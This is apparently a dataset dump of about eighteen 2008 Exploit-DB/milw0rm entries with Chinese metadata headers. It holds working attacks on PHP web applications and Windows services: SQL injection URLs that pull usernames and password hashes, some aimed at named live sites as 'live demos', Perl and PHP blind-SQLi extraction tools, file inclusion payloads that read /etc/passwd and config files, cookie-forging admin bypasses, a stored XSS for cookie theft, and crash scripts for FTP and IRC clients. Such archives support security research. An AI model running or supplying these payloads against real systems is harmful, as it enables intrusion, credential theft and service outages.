QLWD/code_shield huggingface dataset:
标题: JMweb - 'src' Local File Inclusion EDB-ID: 6669 CVE: 2008-4522 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-04 漏洞利用脚本: #################################################################################################
[+] JMweb MP3 (src) Multiple Local File Inclusion
[+] Discovered By SirGod
[+] wWw.MorTal-TeaM.OrG
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke,Codex
##################################################################################################

# Script Homepage:
# http://www.jesse-web.co.cc //

[+] Download : http://rapidshare.com/files/138968587/jmweb_audiosearch.zip

[+] Local File Inclusion

     Example  1 :

       http://[target]/[path]/listen.php?src=[Local File]%00

     PoC 1 :

       http://127.0.0.1/path/listen.php?src=../../../../autoexec.bat%00


    Example 2 :

       http://[target]/[path]/download.php?src=[Local File]%00

    PoC 2 :

      http://127.0.0.1/path/download.php?src=../../../../autoexec.bat%00

##################################################################################################

# milw0rm.com [2008-10-04] URL: https://www.exploit-db.com/exploits/6669
标题: mIRC 6.34 - Remote Buffer Overflow (PoC) EDB-ID: 6654 CVE: 2008-4449 类型: DOS 平台: WINDOWS 发布日期: 2008-10-02 漏洞利用脚本: ##################################################################################################
# Mirc 6.34 Remote Buffer Overflow
# 
# This poc allow you to own the 2 first EDI & EDX bytes.
# 
# To become remote, add a simple document.location.href=irc://server.com/... in some html page
#
use IO::Socket;

sub sock()
{
my $sock=new IO::Socket::INET (
Listen    => 1,
                                
LocalAddr => 'localhost',
                                
LocalPort => 6667,
                               
Proto     => 'tcp');  die unless $sock;

print " [+]IRC Server started on port 6667 \r\n";

$s=$sock->accept();  
$a = "A" x 313;
$twobytes = "\x43\x43";

print " [+]Sending pickles\r\n";
  
print $s ":irc_server.stuff 001 yow :Welcome to the Internet Relay Network yow\r\n"; 
sleep(1);
print $s ":".$a.$twobytes." PRIVMSG  yow : /FINGER yow.\r\n";
}
while(1)
{
sock();
print " [+]Mirc should be down now, another little friend comming ?\r\n [+]Server Restarting\r\n";
}

# milw0rm.com [2008-10-02] URL: https://www.exploit-db.com/exploits/6654
标题: VBA32 Personal AntiVirus 3.12.8.x - Malformed Archive Denial of Service EDB-ID: 6658 CVE: 2008-5667 类型: DOS 平台: WINDOWS 发布日期: 2008-10-03 漏洞利用脚本: ------------------------------------------------------------------------------------------------------------------------------

VBA32 Personal Antivirus 3.12.8.x (malformed archive) Denial of Service PoC

Summary: Antivirus program for personal computers running Windows which
is a reliable and, it is crucial, quick tool to detect and neutralize computer viruses,
mail worms, trojan programs and other malware (backdoors, adware, spyware, etc)
in real time and by request.

Desc: VBA32 (VirusBlokAda) Personal Version 3.12.8.x suffers from a denial of service
vulnerability that causes memory corruption and causing the software to crash while
scanning a malformed archive.

Product web page: http://www.anti-virus.by/en/personal.html

Tested on Microsoft Windows XP SP2 (English)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

liquidworm [t00t] gmail [m00t] com

http://www.zeroscience.org

03.10.2008

------------------------------------------------------------------------------------------------------------------------------

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6658.rar (2008-vba32_poc.rar)

# milw0rm.com [2008-10-03] URL: https://www.exploit-db.com/exploits/6658
标题: RhinoSoft Serv-U FTP Server 7.3 - (Authenticated) 'stou con:1' Denial of Service EDB-ID: 6660 CVE: 2008-4500 类型: DOS 平台: WINDOWS 发布日期: 2008-10-03 漏洞利用脚本: #Serv-U <= 7.2.0.1 / 7.3 ftp server DoS
#user must have upload permissions
#
#(x) dmnt 2008-10-01
 
220 Serv-U FTP Server v7.3 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
stou con:1
quit
221 Goodbye, closing session.
# now server DoS'ed

# milw0rm.com [2008-10-03] URL: https://www.exploit-db.com/exploits/6660
标题: Bux.to Clone Script - Insecure Cookie Handling EDB-ID: 6652 CVE: 2008-6162 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-02 漏洞利用脚本: #############################################################################################
[+] Bux.to Clone script Insecure Cookie Handling Vulnerability
[+] Discovered By SirGod
[+] wWw.MorTal-TeaM.OrG
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke,Codex
#############################################################################################

[+] Download :  http://depositfiles.com/files/6633532

[+] Dork : (c) SriptBux 2008 | Powered By ScriptBux version 2.50 beta 1

[+] Script : http://depositfiles.com/files/6633532

[+] Insecure Cookie Handling Vulnerability

javascript:document.cookie = "loggedin=1; path=/"; document.cookie =
"usNick=admin; path=/";

#############################################################################################

# milw0rm.com [2008-10-02] URL: https://www.exploit-db.com/exploits/6652
标题: Microsoft Windows - GDI (EMR_COLORMATCHTOTARGETW) (MS08-021) EDB-ID: 6656 CVE: 2008-1087 2008-1083 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-02 漏洞利用脚本: EMR_COLORMATCHTOTARGETW stack buffer overflow exploit
By Ac!dDrop

This is one of the 2 Vulnerabilities of MS08-021

Tested on Windows xp professional SP1
GDi32.dll    5.1.2600.1106
kernel32.dll 5.1.2600.1106
ws2_32.dll   5.1.2600.0

calc.zip---> executes calculator
IE.zip and localhost.zip ------>  connects at localhost at port 230


On Windows Xp Sp2 only causes Denial of service.
 -(Vulnerable function guarded with a GS cookie)
 -(The function which copies data to stack has an exception handler which recovers from access violations so u cant exploit it by hitting next page ).

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6656.tgz (2008-Gdi.tgz)

# milw0rm.com [2008-10-02] URL: https://www.exploit-db.com/exploits/6656
标题: Full PHP Emlak Script - 'arsaprint.php' SQL Injection EDB-ID: 6659 CVE: 2008-6133 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-03 漏洞利用脚本: |___________________________________________________|
|
| Full PHP Emlak Script (arsaprint.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                                                                     |
|
| script : http://php.arsivimiz.com/Kategoriler/PHP/alisveris
| 
| DorK   : :)
|___________________________________________________|

Exploit:  
________



www.[target].com/Script/arsaprint.php?id=-9+union+select+version(),2,3,user(),database(),version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77--




L!VE DEMO:
_________


http://www.ozsarigrup.com/arsaprint.php?id=-9+union+select+version(),2,3,user(),database(),version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77--




____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaG I

# milw0rm.com [2008-10-03] URL: https://www.exploit-db.com/exploits/6659
标题: OLIB 7 WebView 2.5.1.1 - 'infile' Local File Inclusion EDB-ID: 6653 CVE: 2008-5678 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-02 漏洞利用脚本: Security Advisory for 'OLIB 7 Webview'

This software is apart of Moodle.

Software - OLIB 7 WebView v2.5.1.1
Exploit  - LFI
Severity - High
Author  - ZeN
website  - http://dusecurity.com/
Date  - 2nd October 2008

DUSecurity Team / DarkCode


Exploit >

http://olib.site.com/cgi/?session=[session_key]&infile=[LFI]

files in dir - get_settings.ini, setup.ini(contains config file locations), text.ini


Info - You need to login to get a valid session key.


------------------
Extraz :

Moodle Permanent XSS

In Moodle blogging system, simply make a new blog entry with the title

<script>alert()</script>

Now everyone that visits the bloggins system with execute your XSS.
Go get some cookies =D

Enjoy!

------------------


Shouts :-
DUSecurity.com
DarkCode.me
Milw0rm.com
iWannaHack
WL-Group

# milw0rm.com [2008-10-02] URL: https://www.exploit-db.com/exploits/6653
标题: Link Trader - 'lnkid' SQL Injection EDB-ID: 6650 CVE: 2008-6102 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-01 漏洞利用脚本: |___________________________________________________|
|
|  Link Trader (lnkid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.ezonescripts.com/scripts/sls/linktrader.php
|
| DorK  : inurl:ratelink.php?lnkid=
|___________________________________________________|

Exploit: 



www.[target].com/Script/ratelink.php?lnkid=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7,8,9,10,11,12+from+o_categories/*






L!VE DEMO:


http://www.ezonescripts.com/productdemos/LinkTrader/ratelink.php?lnkid=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7,8,9,10,11,12+from+o_categories/*



__________________________

table_name : column_name


o_categories:c_name
o_categories:c_id
o_categories:c_date
o_links:l_id
o_links:l_name
o_links:l_email
o_links:l_cid
o_links:l_sitename
o_links:l_homeurl
o_links:l_linkurl
o_links:l_slogan
o_links:l_description
o_links:l_webmasterschoice
o_ratings:r_id
o_ratings:r_lid
o_ratings:r_votecount

__________________________



____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaG I

# milw0rm.com [2008-10-01] URL: https://www.exploit-db.com/exploits/6650
标题: IP Reg 0.4 - Blind SQL Injection EDB-ID: 6657 CVE: 2008-4523 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-03 漏洞利用脚本: #!/usr/bin/perl 
# -----------------------------------------------
# IP Reg <= 0.4 Blind SQL Injection Exploit
# Discovered By StAkeR - StAkeR[at]hotmail[dot]it 
# Discovered On 03/10/2008 
# -----------------------------------------------
# Download http://sourceforge.net/projects/ipreg/
# -----------------------------------------------

use strict;
use LWP::UserAgent;

my @chars = (48..57, 97..102); 
my $start = undef;
my $stop  = undef;
my $hash  = undef;
my $substr = 1; 
my $http = new LWP::UserAgent;
my ($domain,$userid) = @ARGV;

usage() unless $domain =~ /^http:\/\/(.+?)$/i and $userid =~ /^[0-9]$/; 


sub send_request
{ 
  my $post = undef;
  my $host = $domain;
  my $param = shift @_ or die $!;
  
  $host .= "/login.php";
  $post = $http->post($host,[
                             user_name => $param,
                             user_pass => 'admin'
                            ]);
 
}


sub give_char
{
  my $send = undef;
  my ($charz,$uidz) = @_;
  
  $send = "' or (select if((ascii(substring".
          "(user_pass,$uidz,1))=$charz),".
          "benchmark(200000000,char(0)),".
          "0) from user where user_id=$userid)#";

  return $send;
}


for(0..32) 
{
  foreach my $set(@chars)
  {
    my $start = time();
    
    send_request(give_char($set,$substr));
    
    my $stop = time();
  
    if($stop - $start > 3)
    { 
      $hash .= chr($set);
      $substr++ and last;
    }
  }
}

sub usage
{
  print "[?] IP Reg <= 0.4 (login.php) Blind SQL Injection Exploit\n";
  print "[?] Exploit Coded By StAkeR - Benchmark Method\n";
  print "[?] Usage: perl $0 http://[host] [id]\n";
  exit;
}


if(defined $hash and $http->get($domain)->is_success)   
{
  print "[?] Hash: $hash\n";
  exit;
}
else
{
  print "[?] Exploit Failed!\n";
  exit;
}

# milw0rm.com [2008-10-03] URL: https://www.exploit-db.com/exploits/6657
标题: RPortal 1.1 - 'file_op' Remote File Inclusion EDB-ID: 6648 CVE: 2008-6099 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-01 漏洞利用脚本: #########################################################
#
# RPortal v1.1
#
#
# Rportal is a management system of contents simple and powerful Web,
# enabling you to create your site in a few minutes, while profiting
# from a complete and effective administration.
#
#
# Remote and Local File Inclusion Vulnerability <= 1.1
# Found the 29th September 2008

##########################################################
# Author: Kad
#
# mail : kadfrox [ a ] gmail [ dot ] com
#
##########################################################
#
# script : RPortal v 1.1
# http://www.rportal.org/?op=download&fid=36
#
##########################################################

[~] Exploit :


http://www.site.com/index.php?file_op=[url]

#
# Vulnerable code source :
#

if(!isset($file_op))$file_op='';

if($file_op!="")

{
    $op_basepath = trim(strrev(strstr(strrev($file_op),"/php/")));

    if($op_basepath!='') $op_basepath = str_replace("/php/", "/", $op_basepath);

    include($file_op);

}

# The problem is that the variable $file_op is not filtered
# Then, you can put the link that you want, like your own backdoor
# and execute commands.

# milw0rm.com [2008-10-01] URL: https://www.exploit-db.com/exploits/6648
标题: phpscripts Ranking Script - Insecure Cookie Handling EDB-ID: 6649 CVE: 2008-6092 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-01 漏洞利用脚本: **************************************************************************************

Author : By Crackers_Child
Contact: cashr00t@hotmail.com
Greetz : biyosecurity.com & milw0rm.com & tryag.cc & All My Friends

**************************************************************************************
Script   : Ranking Script  -  Insecure Cookie Handling Vulnerability
Demo     : http://www.ranking-script.de
Dork     : pagerank-0-topliste.html  or pagerank-0-tipp.html

**************************************************************************************

Exploit : javascript:document.cookie = "admin=ja; path=/";

Than go to > pagerank-0-admindaten.html and edit All thingz :)

**************************************************************************************
N0te : Ramazan Bayraminiz Mubarek Ola !
**************************************************************************************

# milw0rm.com [2008-10-01] URL: https://www.exploit-db.com/exploits/6649
标题: vxFtpSrv 2.0.3 - 'CWD' Remote Buffer Overflow (PoC) EDB-ID: 6651 CVE: 2008-4452 类型: DOS 平台: WINDOWS 发布日期: 2008-10-02 漏洞利用脚本: #!/usr/bin/perl
########################################################
#
#  vxFtpSrv 2.0.3 CWD command Overflow PoC
#  by Julien Bedard (www.kosseclab.com)
#  info@kosseclab.com
#
#  Tested on MS Windows Mobile 6.0
#  (maybe other versions are vulnerable)
#
# vxftpsrv is the most common ftp
# server for mobile devices: wm, ppc etc.
# it suffer of an overflow when it recieve too long
# data string by the CWD command.
#
# the result will be immediately close server and
# the windows mobile device will really hang-up.
# so it's required to reset the device to be completely
# operational.
#
# Maybe we can exploit this issue for doing command
# execution but i've not test it since i have nothing
# to debug the application in real time.
#
# If you can help for further analysis please email me
# at info@kosseclab.com
#
########################################################

use Net::FTP;
$wftpsrvaddr = "255.255.255.255";
$overflow = "A" x 330;
$user = "anonymous";
$pass = "test@something.com";
$port = 21;

$ftp = Net::FTP->new("$wftpsrvaddr", Debug => 0) || die "Cannot connect to ftp server: $@";
$ftp->login($user,$pass) || die "Cannot login ", $ftp->message;

$ftp->cwd($overflow);
$ftp->quit;

# milw0rm.com [2008-10-02] URL: https://www.exploit-db.com/exploits/6651
标题: OpenX 2.6 - 'bannerid' Blind SQL Injection EDB-ID: 6655 CVE: 2008-6163 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-02 漏洞利用脚本: <html>
<head><title>OpenX Remote Blind SQL Injection Exploit By d00m3r4ng</title></head>
<body><center>
<?php
//discovered by d00m3r4ng
//exploit coded by d00m3r4ng
//contact: d00m3r4ng[at]gmail.com
set_time_limit(0);
function sockr($j, $exp, $asc){
extract ($_POST);
global $l;
if($socket = @fsockopen($host, 80,$e,$r,5)){
$inj="www/delivery/ac.php?bannerid=-1%20or%20ascii(substring((select%20$result%20from%20$table%20limit%20$l,1),$j,1))$exp"."$asc";
$req="GET /$path/$inj HTTP/1.1 \r\nHost: $host\r\nConnection: Close\r\n\r\n";
fwrite($socket, $req);
while (!feof($socket)) $res.=fgets($socket,512);
fclose($socket);}
if(strstr($res,"http://")) return true; else return false; }
function getLength(){
$i=1;
while(sockr($i,">",0)) $i++;
return $i;
}
function getValue($length){
for ($a=1;$a<$length;$a++){
$bl=45; $bh=123;
while(!sockr($a,"=",$b=intval(($bl+$bh)/2)))
if (sockr($a,">",$b)) $bl=$b;
else $bh=$b;
$v.=chr($b);}
return $v; }
$host="127.0.0.1";
$result="concat(username,0x3A,password)";
$table="ox_users";
if(isset($_POST['host'])){
extract($_POST);
$l=0;
while(sockr(1,">",0)) $l++;
$f=$l;
for ($l=0;$l<$f;$l++) 
if ($length=getLength())  echo "VALUE: ".getValue($length)."<br>"; }
?>
<b>OpenX Remote Blind SQL Injection Exploit By d00m3r4ng<br>
Vuln discovered and Exploit coded by d00m3r4ng<br>Contact: d00m3r4ng[at]gmail.com</b>
<br><br>
<form method="post">
Host: <input type="text" name="host" value="<?php echo $host ?>" size="70"><br>
OpenX Path: /<input type="text" name="path" size="100" value="<?php echo $path ?>"><br>
SELECT  <input type="text" name="result" size="50" value="<?php echo $result ?>">  FROM  <input type="text" name="table" value="<?php echo $table ?>"><br>
<input type="submit" value="Inject">
</form></center></body></html>

# milw0rm.com [2008-10-02] URL: https://www.exploit-db.com/exploits/6655
标题: Discussion Forums 2k 3.3 - Multiple SQL Injections EDB-ID: 6643 CVE: 2008-6100 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-01 漏洞利用脚本: Author: ~!Dok_tOR!~
Date found: 30.09.08
Product: Discussion Forums 2k
Version: 3.3
URL: http://developer.berlios.de/projects/df2k/
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

Exploit 1:

http://localhost/[installdir]/misc/RSS1.php?CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,3,4,5,6,7+from+DF2k_Members/*

Exploit 2:

http://localhost/[installdir]/misc/RSS2.php?id=1&CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,user(),4,5,6,7,8,9,10+from+DF2k_Members/*

Exploit 3:

http://localhost/[installdir]/misc/RSS5.php?SubID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,3,4,5+from+DF2k_Members/*

# milw0rm.com [2008-10-01] URL: https://www.exploit-db.com/exploits/6643
标题: Pritlog 0.4 - 'Filename' Remote File Disclosure EDB-ID: 6639 CVE: 2008-6012 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-30 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Printlog <= 0.4: Remote File Edition Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$ Program: Printlog
$ File affected: index.php
$ Version: 0.4
$ Download: http://www.hardkap.net/pritlog


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org

-- Description (by the author's page) --
PRITLOG is an extremely simple, small and powerful blog system. It does not 
use or need a MYSQL database and fully works based on flat files. The idea 
is derived from a similar app called PPLOG.

-- Bug --
You can navigate and see the entries. Something like as:
  http://localhost/p/index.php?option=viewEntry&filename=00001

Code doesn't check the comments directory:

709.  function viewEntry() {
710. $fileName   = isset($_POST['filename'])?$_POST['filename']:$_GET['filename'];
711. global $postdir, $separator, $newPostFile, $newFullPostNumber, $debugMode, $config_textAreaCols, $config_textAreaRows;
712. global $config_allowComments, $config_commentsSecurityCode, $config_CAPTCHALength, $config_randomString;
713. global $commentdir,$config_dbFilesExtension, $config_onlyNumbersOnCAPTCHA;
714. $viewFileName=$postdir.$fileName.$config_dbFilesExtension;


-- Exploit --
If magic quotes are off you can do:
  http://localhost/p/index.php?option=viewEntry&filename=../config.php%00

config.php has the admin password

# milw0rm.com [2008-09-30] URL: https://www.exploit-db.com/exploits/6639
标题: Noname CMS 1.0 - Multiple SQL Injections EDB-ID: 6644 CVE: 2008-6093 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-01 漏洞利用脚本: Author: ~!Dok_tOR!~
Date found: 30.09.08
Product: NonameCMS
Version: 1.0
URL: noname-cms.org
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

Exploit 1:

http://localhost/[installdir]/index.php?action=detailansicht&file_id=-1'+union+select+1,2,3,4,5,6,concat_ws(0x3a,benutzername,passwort,email),8+from+nns_user/*

Exploit 2:

http://localhost/[installdir]/index.php?action=kategorien&kategorie=-1'+union+select+1,2,user(),concat_ws(0x3a,benutzername,passwort,email),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+nns_user/*

# milw0rm.com [2008-10-01] URL: https://www.exploit-db.com/exploits/6644
标题: MySQL Quick Admin 1.5.5 - 'cookie' Local File Inclusion EDB-ID: 6641 CVE: 2008-4455 2008-4454 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-01 漏洞利用脚本: # MySQL Quick Admin <= 1.5.5 (COOKIE) Local File Inclusion Vulnerability
# url: http://www.mysqlquickadmin.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: Pepelux :)
#
# *Requirements: magic_quotes_gpc = Off

vuln file: /includes/required.php
vuln code: 

if(!empty($_COOKIE['language']) && !isset($_SESSION['language'])){
 $_SESSION['language'] = $_COOKIE['language'];
}

....

if(LANG == ""){
 if(!isset($_SESSION['language'])){
  include("lang/english/lang.php");
  $_LANG = "english";
 } else {
  include("lang/".$_SESSION['language']."/lang.php");
  $_LANG = $_SESSION['language'];
 }

... }

LFI (poc): 
1) javascript:document.cookie="language=../../../../../../../../../../etc/passwd%00; path=/";
2) and enters /index.php

Ingenious work :D

# milw0rm.com [2008-10-01] URL: https://www.exploit-db.com/exploits/6641